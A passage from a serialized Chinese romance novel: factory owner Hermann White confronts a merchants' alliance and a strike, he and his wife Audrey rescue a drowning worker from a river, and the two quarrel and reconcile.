查尔斯试图说话,被老头打断:“我和怀特先生说话,还轮不到一个助手插嘴。” 查尔斯脸上冷了下去。 布鲁森身后的商人们开始帮腔:“什么?妥协?这怎么行?!答应第一次就有第二次!光是满足所有工人的条件,我们就得损失多少钱?!” “是啊!我们向工人妥协了,机械协会可不会向我们妥协!到时候该收的税照样要收,前前后后都是我们割肉!哪有这样的事?” “要我说,我们也该团结一心,只要没人开那道口子,最终认输的还是这群等着吃饭的混蛋!反正我们比他们耗得起!” “说得对!团结一心!” “团结!” 几个人也学着工人喊口号,说着说着自己笑了起来,又将目光投向赫尔曼。 无论他们聊得多么顺畅,最终还得看行首的脸色。 他们跟着布鲁森来怀特这里,目的就是想逼迫他答应这个“联盟”。 否则,如果规模最大的怀特工厂先向工人妥协,那么其他人的坚持就毫无意义。 布鲁森耐心告罄,他直起身,眯着眼道:“给出你的答复吧,怀特先生。” 赫尔曼规律地敲击着桌面,脸上的神情喜怒难辨。 “理查德,你以什么身份在跟我说话?”他环视一圈,“以为人多就可以威胁我?你是不是忘了,我最讨厌被威胁。” “噢,怀特先生,布鲁森先生不是这个意思……”有人打岔。 “我跟理查德说话,还轮不到你插嘴,比奇先生。”赫尔曼面无表情,查尔斯低头暗笑。 比奇脸色青一阵红一阵,退到布鲁森身后。 “赫尔曼,你误会了。”布鲁森深吸一口气,“我老了,没有心力再挑战你的权威。但是你既然作为新的领头羊,就有带领我们解决问题的义务。” “没必要绕弯子,教会捏着技术命脉,想发展,就得妥协。如果另一头还要为工人妥协,那我们的利益还怎么保证?”布鲁森盯着赫尔曼,“现在唯一的办法就是所有人联手,压制容易对付的那一头。” 说罢,他叼着烟斗,起身出门。 “我的话已经说完了,如果有人背叛了联盟,那么……”他顿了顿,冷笑,“我想他也不适合成为头领。” 所有人跟在布鲁森身后离开,很快,办公室只剩查尔斯。 查尔斯看着莫尔一步三回头的背影,垂眸道:“怀特先生,看来那句话是对的,利益才是最牢固的绳索。您迟迟没有对罢工表态,现在所有人都倒戈布鲁森。形势不妙。” 赫尔曼不动声色:“你怎么想?” “我建议同意布鲁森的意见,组成商人联盟对抗罢工,这也符合我们的利益不是吗?一旦你点头,那群墙头草自然又会回来。” 赫尔曼沉默片刻,突然嗤笑:“你说得很对,查尔斯,这的确符合我们的利益,可是……” 他顿了顿,将报纸点燃,看着它被烧成灰烬。 “我很讨厌妥协。”深灰色的眼睛平静无波,“无论是对教会,还是对那群工人,抑或是布鲁森带来的蠢货们。” 查尔斯很快明白过来,他想了想,试探道:“可是秘密进行的技术研究还没有进展,教会那头还不能得罪。” 至于剩下的两个,如果不想对工人妥协,就相当于顺了布鲁森的心,这群墙头草到时候只会把功劳算在布鲁森这个领头人的身上。如果不对布鲁森妥协,就得满足工人的条件,背叛商人联盟。 站在查尔斯的立场,肯定选择利益最大化的前者,可是他知道,自家雇主是个不按常理出牌的人,现在面临这种进退都不痛快的选择,没人知道他会怎么做。 果然,赫尔曼眼里划过戾气,许久没有说话。 突然,楼下马车声响起,奥黛丽刚到家,就和踏出门的布鲁森等人打了照面。 奥黛丽还没来得及脱下灰扑扑的斗篷,见到客人,只好颔首行礼。 莫尔先生:“噢!怀特太太,这是从哪里回来?” 门外刚离开的马车轮子还带着污泥与残雪,十分简陋,一看就不是怀特家的车。 奥黛丽怔了怔,她找借口说去莫尔太太家,现在莫尔先生却问她从哪里来…… 她心里一紧,下意识寻找赫尔曼的身影。 老布鲁森注意到她的异状,又看了看她脚底的泥泞,若有所思。 下一刻,他忽然走出几步,抬眸看向书房的窗户,提高声音道:“怀特先生,顺便提醒你,约束好自己的太太,别以为顶着做慈善的头衔,向工人示好,就不算违背联盟。” 不等楼上说话,老布鲁森就带着人离开。 奥黛丽在听见他喊怀特开始,眉头就皱了起来。 与此同时,脚步声从楼梯间传来,银头发先生面无表情出现,缓步而来。 “你去了哪里?” “我……” 奥黛丽张了张嘴巴,下意识想扯谎。 可是心里却知道,对方已经听见刚才的对话。 “这些天,你撒谎去莫尔太太家,实际上是去哈登菲尔德。”赫尔曼表情平静,一步一步走上前,却无端让人觉得压迫感十足。 “是。”奥黛丽低下头。 “去做什么?”赫尔曼又问。 奥黛丽想了想,顺着布鲁森的话说:“做慈善。” 她虽然信任赫尔曼,却不能私自暴露承知社。当然,也知道这个答案蒙骗不了他。 毕竟奥黛丽这段时间一直潜心研究机器,怎么会突然去做慈善。 可是赫尔曼似乎根本不在乎她话语的真假,而是直截了当道:“从今天开始,不许再去。” 刚刚看见报纸上的枪杀新闻还无动于衷的男人,在看到她脚底的污泥时,神色突然冷峻。 奥黛丽抬头:“可是……” “没有可是,怀特太太。”赫尔曼盯着她,语气和往常一样平和,“哈登菲尔德现在很危险,你只需要待在家里,等度过这个冬天,我再带你去。” 他强调了“我”带“你”去。 奥黛丽有些不高兴,正要说话,一个助手从外面跑来,焦急道:“怀特先生,工厂出事了!您快去看看!” 赫尔曼和查尔斯对视一眼,很快明白风波降临。 “安排马车,立刻出发。” 查尔斯语速飞快:“我先通知治安官,再把保镖叫来!我可不希望报纸上的新闻重现。” “报纸”这个字眼唤醒奥黛丽,她立刻联想到毫不服软的赫尔曼,被愤怒的工人击毙的场面。 “怀特先生,我也去!” “你不许去!”赫尔曼已经坐上车,陡然冷喝,“让保镖守在庄园,看着她,在我回来前,不许她踏出半步。” 奥黛丽瞪大眼睛,还想说什么,马车已经扬长而去。 壮汉保镖们客气道:“怀特太太,请回去吧,先生不会有事。” 不会有事? 奥黛丽紧皱着眉头,心脏狂跳,手里还攥着那份报纸。 某种程度上来说,她很了解赫尔曼,他吃软不吃硬。 如果徐徐图之,有些诉求可以达成。就像她潜心改良机器,就是想撬动教会的技术垄断。 教会的利益松动,工人们就有了空间。 对赫尔曼来说,他只需要吃肉,而无所谓从谁的嘴里夺走这块肉。 更何况,工人的油水哪里有顶层教会多?只要奥黛丽给出这个机会,他必然是要抓住的。 可现在工人们突然闹了起来,一旦针尖对麦芒,这家伙比谁都狠。 奥黛丽不想看见赫尔曼和他们闹得鱼死网破。 想至此,她看了看堵在门口的壮汉,又看了看刚下楼,不知道发生什么的葛丽泰,心里有了主意。 第60章 哈登菲尔德的雪不知什么时候停了,马车里的气氛却肃穆得像冰窖。 “布鲁森刚走,场面就乱起来,这太奇怪了。”查尔斯意有所指, “就算要爆发工人运动,难道说来就来, 还恰好在我们的工厂?” 赫尔曼掀开车帘, 看向窗外。 深灰色的眼睛划过冰冷的光, “很浅显的算计,老布鲁森想逼我点头。” 街道尽头,怀特工厂沿河而建, 栏杆之外是进入冬季水流平缓的河, 栏杆之内, 工人们正簇拥在厂房外, 群情激奋。雪地被脚印践踏得泥泞不堪。 一个领头的红发瘦高个儿正在大声喊话:“伙计们!我们要团结起来,提高薪酬!落实八小时工作制!打倒黑心工厂主!” “提高薪酬!落实八小时工作制!打倒黑心工厂主!”两个混在人群里、戴着帽子看不清脸的大胡子跟着振臂高呼。 在他们的煽动下,衣衫褴褛的工人们也开始喊起口号。只是大部分人的情绪并不高昂。 晨曦街众人从报纸上得到启发,效仿赫斯兰策划示威运动,可是目前还在摸索中,尚未形成规模。 有部分被压榨到极致的工人, 愤怒之下进行暴力反抗,冲进厂房砸烂机器, 这个罪有应得的倒霉蛋正是布鲁森的走狗,比奇先生。 但是工人们并未得到想要的结果,比奇杀鸡儆猴,把带头的抓进了监狱,还占据舆论高地将起义者渲染成贪得无厌的无赖们。 这件事让大家提高警惕,不能毫无理智地采用暴力手段, 否则会适得其反。 看见众人反应寥寥,红头发高个继续呐喊:“嘿!现在跟我一起冲进去!砸烂机器,抢夺原料!给那个银头发的杂碎一点颜色瞧瞧!” “等等,我想我们应该等怀特先生来了再说!” 人群里,怀特工厂的工人们陷入犹豫。自从皮特被解雇后,新来的管事不仅给他们分发了治病津贴,还提高了工资待遇。 某种程度上来说,比起其他黑心老板,赫尔曼算得上有良心。所以,工人们更想理性提出诉求,而非暴力□□。 可是红头发一听就变了脸色,指着出声的人道:“你想蓄意破坏工人同盟吗?我是从赫斯兰特意过来指导你们运动的,如果连基本的反抗都不敢,那就趁早滚蛋,别妄想跟在后面浑水摸鱼,蹭我们的劳动果实!” 被指到的工人脸色涨红,“我……我没有!” “还说没有!你这个工贼!赫尔曼·怀特是整个哈登菲尔德最大的工厂主,这个来自埃尔美的黑心恶魔手里攥着最多的财富!稍微给你们一点甜头,就忘了我们的目标吗?”红头发怒喝,“伙计们!赶走工贼!” 两个大胡子立刻跟着喊,“一起赶走工贼!赶走工贼!赶走工贼!” 混乱的人群又被点燃了情绪,个别人就算有其他想法,也不敢再说出口,怕自己成为少数派。 那个工人被推搡在地,破旧的帽子被踩进泥泞里,伴随着阵阵喝骂。 他徒劳地举起双手,抱住头,任由拳脚落在身上。 视线里,他看见浑身漆黑的马车缓缓驶来,银质拐杖点在地面,随即是一双皮鞋和剪裁适宜的黑色大衣。 “怀特先生……” 不知是谁率先喊出来人的名字。 所有人下意识停住动作,刚点燃的情绪似乎被冷水浇灭。 不远处,赫尔曼孤身一人走了过来,身后的查尔斯想阻止,却没能拦住。 “你们在找我?” 他闲庭信步,踩过泥泞的雪地。 工人们如摩西分海,自动让开一条路,目送那道背影缓缓踏上台阶。 红头发没想到他真的会来,眼中闪过惊讶,很快语气凶狠道:“赫尔曼,你敢露面,还算有胆子!” “听着,从今天起,你必须满足我们提出的所有要求,否则,怀特工厂将会无限期停工,你别想再利用我们为你赚一分钱!” 红头发情绪激动,一边说着,一边将工人联名上书的请求信扔向赫尔曼。 一只手稳稳接住,而后展开。 深灰色的眼睛扫视着信件,忽然露出一抹笑,“八小时工作制、医疗保障、建立行业薪酬规范……上面这些我都能理解,最后这条,替换现有的管理者是什么意思?” 红头发冷笑:“当然是怕你反悔,必须要由我们自己人来监管!怎么?舍不得换掉你的属下?不想同意?不同意我们就打进去!” 赫尔曼脸上渐渐冷了下来。 他面无表情地盯着红头发,像是根本没将威胁放在眼里,“是你一个人的决定,还是……你们所有人?” 人群鸦雀无声,各自心里都有盘算。 有的人并不想得罪雇主,害怕真的丢失饭碗;有的人想静观其变,随大流混好处;有的人则是理智思考,判断局势。 忽然,一个雀斑青年越众而出,身边还有个年轻姑娘搀扶着他。 “怀特先生,请愿书里大部分是我们的决定,但是……咳咳咳……”青年咳嗽起来,脸颊浮现棉尘肺特有的病态红晕,“但是我们并不想采取暴力手段。” 赫尔曼看着眼前熟悉的青年——拖着病体赶来的凯文,以及未婚妻萝丝。 “比起其他工厂主,您已经很仁慈,治病的津贴,额外的薪酬,我们都看在眼里。可是这短暂而稀缺的补助无法改变整个行业的现状。”凯文再次剧烈的咳嗽,萝丝含泪帮他擦拭嘴角的鲜血,“所以……所以我们不得不团结起来,争取自己的权益。” 赫尔曼眼底没有情绪,“你的病怎么样了?” “感谢您的关怀,可惜医生告诉我,我大概熬不过这个冬天。”凯文扯开一丝笑,“像我这样的工人还有很多,我足够幸运,至少您赐予的帮助能够让萝丝平稳度过后半生,这样我就能安心离开。” 萝丝低声哭泣,眼泪像断了线的珠子。 “怀特先生,我说这些是想请您理解……我们并不是忘恩负义,咳咳咳……”凯文看着赫尔曼,一字一顿,“我们只是……希望下一代人,别再走同样的路,吃同样的苦,咳咳咳!” 话未说完,就被一连串刺心的咳嗽声掩盖。 萝丝嚎啕大哭,小乞丐从人群里钻出来,抱住凯文的腿,仰头抹泪:“不,你不会死的,凯文。我会赚钱给你治病,隔壁的比奇工厂会招收童工,你等着我……” “波利,我不想你延续我的命运。”腼腆的少年在这一刻担起了兄长的责任,将没有血缘关系的弟弟护在羽翼下,眼神坚定,“你还小,还有很长的路要走。” 小乞丐波利同样无父无母,和凯文相依为命。他们悲戚地抱在一起,眼泪滴在雪地里,为无可更改的命运哀悼,而这样的故事,在哈登菲尔德并不罕见。 雪又开始下了,洁白得像厂房的棉絮,叫人生不出欣喜,反而联想起疾病与死亡。 众人陷入沉默,心中升起兔死狐悲的感伤。 栏杆外,平静的河面藏污纳垢,裹挟着工业城市的肮脏与血腥奔涌向前。 察觉到形势似乎镇定下来,红头发和两个大胡子对视一眼,忽然喝道:“哭什么哭?!说这些有用吗?用眼泪祈求那个埃尔美恶魔的同情?!不觉得可笑?!” 红头发一把推开凯文,占据中间位置,向众人大喊道:“拿起你们的武器!拿起你们的英勇!只有拳头能够让高高在上的王八蛋们屈服!” “不!别轻举妄动!如果我们先动手就触犯了法律!这不利于谈判!”凯文慌忙转过身。 “滚开!少装模作样!”红毛凶神恶煞,“大家别被这个家伙骗了!他是赫尔曼请来的托!你们难道没有听见吗?赫尔曼给了他们家足够过下半生的钱!他有的,你们有吗?你们孩子会有吗?!” “这个家伙已经被收买,他是安插在我们内部的卧底,就是想破坏工人联盟!” 凯文:“不!新的规章已经说了,确诊大病可以领取补助,那不是收买……” “闭嘴!别再狡辩!你这个工贼!你们三个都是瑞恩小镇的居民!你们和赫尔曼就是一伙的!” “对啊,我听说他们还参加了温斯顿庄园的婚礼!”有人突然嚷嚷。 一时间,群众们看向凯文的脸色已经变了,他们的确同情他,可是内心却忍不住怀疑,对方是不是收取了更多的利益! 明明那些疾病和痛苦都是这些高高在上的资本家带来的!凭什么恶魔们只需要撒点钞票就想让他们的联盟瓦解! 红毛带着大胡子振臂高呼,“打倒工贼!打倒怀特!” “打倒工贼!打倒怀特!” 恨意上涌,所有人跟着冲上前:“打倒工贼!打倒怀特!” 凯文上前阻止,却被人群推搡到河岸边。 透过汹涌人潮,他看向台阶上的男人,心中不由得战栗——赫尔曼脸色彻底冰冷,他毫不畏惧地站在原地,根本没有闪躲的意思。 是的,此时此刻,赫尔曼只感到厌恶。 他讨厌没脑子的乌合之众!更讨厌别有用心的蠢货!如果说,前一刻他还打算坐下来谈谈,那么现在,他已经彻底打消了这个念头。 只会动用武力,没有主见的蝼蚁,活该被踩在脚底,不配得到他的尊重,更不配他浪费口舌! 对面,查尔斯带着治安官赶到,正在挥手呐喊,声音淹没在嘈杂的人声里。 红头发与两个大胡子号召完工人,就悄悄溜走,并不知道深灰色的眼睛一直盯着他们。 赫尔曼缓缓摸向腰间,冰冷的火器上膛,正要拿出来的那一秒,异状陡然出现! 河岸边,激愤的工人挤破了栏杆。只听“噗通”一声巨响,浪花里浮现扑腾的人影。 “不!凯文!” 波利突然大叫。 萝丝发出凄厉的呼喊:“凯文掉下去了!求你们快救救他!” 工人们还没回过神,谁也没想到会出现这种变故,一时怔愣在原地。 “谁干的?!” “不是我!我刚刚没推他!” “也不是我!” “别争了!救人要紧!” …… 眼看河流卷着凯文越来越远,萝丝的哭声撕心裂肺! 下一刻,一道身影从不远处跑来,迅速跳入河水,敏捷地向凯文游去! 谁也没注意,赫尔曼面色突然难看。 “让开!” 几乎同一时间,他扔掉外套,头也不回地冲进人群,猛然跳进河水里! “怀特先生也跳下去了!快!快救人!” “天哪!” …… —— 作者有话说:一会零点后还有一更! 60-70 第61章 所有人乱成一团,既惊讶又慌张,全然把什么工人运动忘在脑后,只关注河水里的三个人! 那可是三条命! 查尔斯跑掉了一只鞋,面色惨白,他吼叫着指挥治安士兵:“快!下去救人!怀特先生和怀特太太都在下面!” 众人:“怀特太太?!那是怀特太太?!” 看似平静的河水波涛汹涌, 冰冷刺骨。 最先跳下去的身影在浪花里若隐若现,她迅速抓住凯文往回游,即将到达岸边,凯文下意识的挣扎,使得她也被带入水中。 “放松!凯文!” 奥黛丽呛了几口水。 凯文不再挣扎, 可是河水让行动变得缓慢。 奥黛丽几乎耗费全身的力气与拍打的浪头对抗,终于,身后有人托住凯文,和她一起使劲将人推上岸。 救完人,奥黛丽全身轻松, 正要往上爬,冷风吹拂动荡的河水, 猛烈的浪头再次袭来—— “赫尔曼!” 她已经靠在岸边,可是那个浪头却将水中的银发身影推出去很远。 赫尔曼听到熟悉的声音, 却来不及回答。 接近冰点的河水让四肢僵硬,右腿膝盖的疼痛逐渐蔓延。 很少有人知道, 怀特先生的手杖在天气好的时候只是装饰,一旦多变, 它就是支撑右腿的工具。 短暂的瞬间,不好的预感涌上心头——该死的旧伤遭受寒冷侵袭,在这一刻复发。 汹涌的河水里,他仿佛回到当年的火海中,被倒塌的房梁砸中,只能硬撑着疼痛逃离。 “怀特先生怎么不动了?” “该死,一定是旧伤复发了!快!快救他上来!”查尔斯作为少数知道内情的人,立刻反应过来,在岸边大吼。 冰冷麻痹赫尔曼的全身,声音传入水中已经失真,他强撑着最后一口气,浮出水面,剧烈的疼痛再次让身体抽动。 氧气越来越少,他在水中浮浮沉沉,维持着呼吸,却始终无法靠近岸边。 模糊视线里,岸边的人和他对望,那双水蓝色的眼睛里充满焦急和不安。 下一刻,“噗通”一声响。 熟悉的身影越过浪潮,向他游了过来。 赫尔曼只觉得灌了水的肺部快要炸开,他想大声呵斥她,让她滚上去。却开不了口。 生死关头,时间在这一刻拉长—— 他沉入水中,银灰色的头发飘散。 氧气快要用尽时,一尾灵活的小鱼靠近。 两片嘴唇紧贴,她将氧气缓缓渡入他的口中,硬生生推开了死神的镰刀。 赫尔曼盯着那双眼睛,蓦然想起火海里,那束照进缝隙里的光。 十三岁的赫利,拖着满身的伤,沿着光的方向闯出一条路。 此刻的赫尔曼,那只布满疤痕的左手,却被另一个人攥紧,奋力逃离浮沉的河水。 快到岸边,治安兵终于赶到,将两个人都救了上来。 所有工人围拢上前,高呼上帝保佑。 查尔斯老泪纵横,吓得话都说不完整。 另一辆马车领着物资抵达,葛丽泰匆匆跑进人群,“这是怎么了?” 奥黛丽披着工人送来的毯子,看见葛丽泰,她立刻道:“各位,其实怀特先生早就吩咐我和库珀夫人,为大家准备过冬的物资。这既是我们的心意,也代表着我们的态度。” “你们想要争取合理的权益,请务必相信,我们也在为此努力。”奥黛丽提高声音,确保所有人都能听见,“希望大家给我们一点时间,至少先好好过完这个节。” 工人们看着满车的物资发怔。 资本家最会装模作样。 可是,前一刻,他们亲眼看见这对夫妻跳下水救人,还是一个微不足道的工人。 冒着生命危险的事,不存在做戏的可能。 “谢谢,谢谢你,怀特太太。” 萝丝泣不成声,波利搀扶着凯文,同样哭着道谢。 “谢谢你。” 工人们再也无法对一个善心的女士燃起仇恨。 最重要的是,怀特家族大张旗鼓地资助他们,就等于变相表明立场。不出一个小时,这里发生的一切就会传进其他商人的耳朵里。 示威的目的,已经达到了一半。 想至此,众人不再犹豫,跟着葛丽泰安排的人去领取物资。 一场风波就此消弭。 奥黛丽松了半口气,下一刻,手被人攥住,大力地推进马车里。 隔绝室外的严寒,湿漉漉的两个人面对面,大眼瞪小眼。 葛丽泰和查尔斯很快也回到车内。 “噢!你们真是太冲动了!快!快回去叫医生过来!”葛丽泰了解来龙去脉,眼泪直掉,“这可是冬天啊!你们就这样跳下水救人!” 查尔斯第一次没有开玩笑的心情,紧盯着车夫加快速度。 奥黛丽低下头,她的手腕被赫尔曼紧攥着。 回去的路上,他不松手,也不说话,侧脸紧绷。 抵达庄园,奥黛丽被收到消息的露西逮去洗澡换衣服,再让医生灌下药剂,预防感冒。 等折腾一通出来,打开门,就对上赫尔曼阴沉的脸。 奥黛丽打了个哆嗦,下意识退后两步。 “你怎么来了?”她挤出一抹笑,若无其事地问候,“你喝药了吗?” 赫尔曼沉默,上前一步,将门关上。 奥黛丽盯着他全无笑意的脸,挣扎片刻,老实道:“对不起,我不该擅自打乱你的安排。” 赫尔曼出门不久,她就和葛丽泰说了自己的计划,如果她们以怀特家族的名义捐赠物资,就可以向工人表明态度,也能让他们的情绪缓和,别激化矛盾。 葛丽泰也很同情工人,答应了这个计划。 奥黛丽换上女仆的衣服,跟着马车溜了出去。刚到现场,就看见爆发的混乱,以及被围在中央的赫尔曼。 那一刻,她非常清楚,如果再不阻止,无论双方哪边先动手,场面都将不可控制。 所以在凯文落水的瞬间,她毫不犹豫去救人。 如她所料,工人们平息了愤怒,可是……却得罪了另一个人。 “赫尔曼。”奥黛丽垂眸,认真解释,“我知道,你可能更想和布鲁森他们站在一起,可是,我并不觉得这样的同盟很牢固,所以才做这个决定的。你……别生气好吗?” “呵。”赫尔曼发出短促的冷笑,脸上毫无温度,“你认为我在为这种事情生气?” “我是不是说过,不许你出去?”他逼近一步。 “可是……”奥黛丽刚要开口,又被打断。 “我是不是说过,没有我的允许,你不许再去哈登菲尔德?” 一瞬间,奥黛丽被他眼底的凶狠吓到。 可是赫尔曼眼底的戾气非但没有收敛,反而更加可怖冰冷。 “你知不知道,现在是什么天气?你知不知道,那条维恩河淹死过多少人?你怎么敢就那样跳下去的,伊莎贝尔·诺曼!” 冷喝声炸响在耳畔,奥黛丽愣住。 这是她第一次看见赫尔曼发这么大的脾气,整个人蒙了半晌,才干巴巴道:“凯文生病了,他还不会水,如果不救他,他会死的……” “他死了和你有什么关系?!”赫尔曼微眯着眼睛,冷笑,“我给他治病,给他钱,给他所谓的尊重,还不够?一个低贱的蝼蚁,还要搭上你的命去救吗?” 奥黛丽瞪大眼睛,不可思议地看着他。 “低贱的蝼蚁?”她嗓音干涩,“赫尔曼,你的工厂拥有全哈市最优秀的工人。他们看似不起眼,却是你最宝贵的财富。你怎么能说这样的话?” “财富?”赫尔曼眼底沉暗,轻笑,“天真的小姐,蝼蚁不是财富,他们爬不出阴暗的沼泽,就只配死在别人脚底,这是弱肉强食的法则!” “蝼蚁蝼蚁蝼蚁,你口口声声贬低他们是蝼蚁,你难道不是这样爬上来的吗?你明明和他们走过同样的路,为什么不愿意施舍半点慈悲?” “因为我是个彻头彻尾的恶人,你还不明白吗?!”赫尔曼冷喝,步步逼近,深灰色的眼底透露着阴鸷,“看清楚你眼前这个人!” “你以为我是个绅士?抱歉,那是我伪装的假面。”他轻笑,“撕开这张人皮,你会知道,他们说的一点错也没有。” “我是个埃尔美贫民窟出身的魔鬼,他们走过的路,我也走过。你富有同情心,可你看不见阴暗的地底,一只蝼蚁想要爬出来,要踩着多少同伴的尸骨!” 屋外,大雪忽然落下,冷风吹动玻璃窗,发出咯吱声响。 温暖的卧室里,他们对峙着,谁也没有回头。 赫尔曼的银发半干,发尾还湿漉漉的,水珠低入地毯,洇湿一片。 “谁不想走出沼泽看看阳光?”他喘息着,忽然轻笑,“他们想爬起来,闯出去,那就像今天这样,抓住机会打倒我!” “如果成功,就能拿我的尸体当养料,成为新的我。如果失败,就活该被我踩在脚底,接受自己的命运。”赫尔曼盯着奥黛丽,扯开一丝笑,“这才是我们蝼蚁的世界,血腥残酷,不配你施以援手。”奥黛丽神情渐渐平静,她看着赫尔曼,忽然说:“我也不应该救你吗?” “是的,你应该跑得远远的。”赫尔曼攥住她的手,左手的粗粝疤痕分外明显,“谁也不值得你去救,包括我。” 他嗓音冰冷,眼底是毫不掩饰的阴暗。 就像他说的,魔鬼终于揭开人皮,露出真实的面目。 奥黛丽怔怔看着他,许久说不出话。 赫尔曼看着那双水蓝色的眼睛,没有错过她刚才的慌乱。 愤怒渐渐消退,理智回归,他却懒得再次伪装。 “伊莎贝尔,如果你感到害怕,那再正常不过。”他缓缓开口,“如果你想离开……” 他抬高手臂,掌心还握着她的手。 下一刻,却突兀地松开。 “这是最后的机会。” 冷风吹开窗户,雪花偷偷沿着缝隙溜进来。 深灰色的眼睛倒映着屋外的银白,也倒映着她怔忪的神情。 沉默蔓延,赫尔曼猜到了答案。 从上次的马车争执开始,似乎就预示了这一天的到来。 他将阴暗的灵魂毫无保留地展现,并不期望谁的理解。 僵立良久,赫尔曼垂下眼眸。 一切都要结束了。 忽然,就在他放下左手的瞬间,有人抓住他的指尖。 奥黛丽重新握着他的左手。 像蜈蚣一样丑陋狰狞的疤痕贯穿掌心,她却看得那么仔细。 赫尔曼从不避讳过往,可在此刻,他下意识想挡住那条疤。 下一秒,她轻轻将脸颊贴近那道疤—— 柔软温热的触感,瞬间从疤痕席卷到心头,滚烫得令他颤抖。 “你在做什么?”赫尔曼听见自己的嗓音干涩。 奥黛丽仰起头,沉默片刻,“我在心疼十三岁的赫利。” 赫尔曼怔住,缓缓抬眸。 冷风吹起银发,他毫无知觉。 心中最后那点不甘,彻底被那双眼睛看穿。 蝼蚁的世界充满厮杀,看到她跳下去救凯文,为那群工人发声时,他似乎听见火海里的嘶吼。 太阳高悬天际,为什么没有照耀当初的那个少年? 现在他从炼狱里走出来,拥有了自己的太阳,凭什么,凭什么那群和自己一样卑贱,一样挣扎在苦海的蝼蚁要被它温暖? 那双眼睛为什么要看着别人?他们凭什么得到这一切? 赫尔曼发出短促的轻笑,深灰色的眼睛里压抑不住扭曲的阴鸷。 “你知道自己在说什么吗?伊莎贝尔。” 奥黛丽直视着他,“我知道。” “如果我可以遇到十三岁的赫利,我会像今天这样,奋不顾身地去救他。” “我会告诉他,别害怕,别难过,你未来会是一个很了不起的大人物。”温热的眼泪滴在疤痕上,她轻轻吻它,“你功成名就,有很多财富,也会有人爱你。” “爱?你看得清我的爱吗?”赫尔曼一字一顿,“今天在水里,有那么一刻,我想过,如果我活不了,那就拖着你一起死。你不害怕这样的爱?” 奥黛丽垂眸,想了许久。 “我有点害怕。” 赫尔曼顿住。 “可是……”她紧握着那只手,轻声说,“我相信自己可以游到对岸。” “无论什么时候。”水蓝色的眼睛扬起笑意,“我永远会像今天这样,救起你,也救起我自己。” 窗外的雪停了,太阳照耀窗台。 他看着那双眼睛,内心发出轰然巨响,世界陷入沉寂。 第62章 如果放在歌剧故事里, 男女主互诉衷肠后总要温情拥抱,或者来一个罗曼蒂克的亲吻。 可是在温斯顿庄园,奥黛丽刚倒进赫尔曼怀里, 后者就感觉抱住了一只火炉。一探额头,人已经烧得滚烫。 “哈秋!哈秋!”连着打了好几个喷嚏,奥黛丽晕乎乎地笑, “我还以为跟你吵架吵上火了呢。” 赫尔曼紧绷着脸,抱着人冲出去叫医生。 家里再次乱成一团,奥黛丽被安置在隔离出来的卧室,赫尔曼坐在床边盯着她。 奥黛丽觉得自己像只煮熟的虾,烧得迷迷糊糊,还睁着眼睛看床边的人。 赫尔曼盯着那双大眼睛:“看什么?” 奥黛丽伸出手, 摸了摸他半干的湿发。 赫尔曼抓住她的手放回被子里:“不用管。” 奥黛丽又伸出另一只手, 勾了勾手指,示意他凑近。 “又怎么了?”赫尔曼看穿她另有所图,却还是靠了过去。 奥黛丽用脸贴了贴他的额头,又蹭了蹭。 柔软温热的触感, 让赫尔曼愣神。 “你好像也有点烫。” 赫尔曼分开一段距离:“我很快就会好。” 奥黛丽掀开被子,拍了拍。 赫尔曼:“……” 按照常理来说,两个病号不应该放在一起,可是不知怎么的,再回过神,他已经躺在她的身边。 “那边有壁炉, 你把头发靠近晾一晾。”奥黛丽贴心提醒。 赫尔曼侧过身,把头发散开,热源使得水汽快速蒸发,火光带来源源不断的暖意。 屋外雪花纷飞, 室内温暖如春。 奥黛丽的脸颊滚烫,赫尔曼将微凉的手放在她的额头,等捂热了,又换另一只,仿佛是个人形降温器。 熟悉的雪松味令人安心,它忽然唤醒了某段记忆。 奥黛丽睁着大眼睛看向赫尔曼。 赫尔曼靠在床头,闭着眼,却像是察觉了视线,手指点点她的额头:“快睡觉。” “不想睡。”奥黛丽握着他的手,眼睛亮亮的,“我想问你一个问题。” 赫尔曼睁开眼。 “你从什么开始喜欢我的?” 她坐起身,脸颊红扑扑,却不像是害羞,反而有点兴奋。 赫尔曼定定看着她,“你认为呢?” 奥黛丽狡黠一笑:“是不是很早很早以前?” “为什么?” 赫尔曼忍不住轻笑。 “我全都想起来了,有天晚上,是你偷偷来我房间给我盖上毯子对不对?” 赫尔曼懒散歪靠在床头,眸光含笑:“嗯。” 没料到他坦然承认,奥黛丽有点惊讶,很快高兴起来,欢快地踢被子,“我就说嘛,怎么会有人不喜欢我呢,拜托,我诶,我可是……奥……伊莎贝尔·诺曼!” 赫尔曼压制住奥黛丽乱动的腿,用被子把她裹成蚕茧,看了看,又忍不住笑。 “你笑什么?”奥黛丽好奇地看他,双手双脚动不了,就蠕动到赫尔曼身边,头枕着他的腿。 赫尔曼伸出手给她降温。 “我在笑你。”他突然恶劣地捏了捏奥黛丽的脸颊,看她的嘴巴被捏成“0”形状,又笑起来。 奥黛丽本来还想生气,一看他笑起来的样子,眼睛又亮了:“你以后都要这样笑,别再像以前那样了。” 赫尔曼挑眉:“我以前怎么样?” 奥黛丽模仿他的样子,三分讥笑,三分凉薄,三分漫不经心。 赫尔曼笑得肩膀发颤。 奥黛丽得意:“哼,承认吧,怀特先生,你就是歌剧里的大反派!” 赫尔曼对她脸颊的软肉爱不释手,一边冷笑:“反派坏巫师通常都要抓几个公主炖药,你手感上佳,很适合做材料。” 奥黛丽打个哈欠,缩进他的怀里闭上眼睛:“我是个病号,坏巫师先生。” 病号公主安心地躺在巫师怀里,两个人的体温足以抵抗冬日的寒冷。 她昏昏欲睡:“你还没回答我的问题呢,赫尔曼。” ——你是从什么时候开始喜欢我的? 赫尔曼没有立刻回答,他看着怀里的脸,轻勾唇角。 诺曼小姐真的很特别。 如果表达爱的能力是种天赋,那她一定是举世无双的天才。 也只有这样耀眼且自信的姑娘,才能如此直白地问出这个问题——因为她无比笃定对方的心意,也不会为那个答案是否如愿而陷入犹豫。 赫尔曼和她恰好相反。 爱这个词,字母拼写都一样,可在每个人心里的表达形式不一样。 他的爱,是雪峰底下的厚重冰层,如果那座山没有倒塌,它将永不见天日。 可是,在她落水的那一刻,本能胜过理智,情感的岩浆让冰层融化,那也是第一次,他清晰地看见血管里流动的情愫。 如果把探知“爱”的脉络捋清楚,那么对他来说,是先有结果,而后追溯开端。 那个开端是什么时候呢? 也许是到达诺曼庄园的那一天,他看见金发姑娘向他走来,水蓝色的眼睛盈满笑意,头顶的珍珠发冠散发着温润的光泽。 也许是马车里,她从睡梦中醒来,懵懂的脸和哭红的眼,在阳光下显得可怜又可爱。 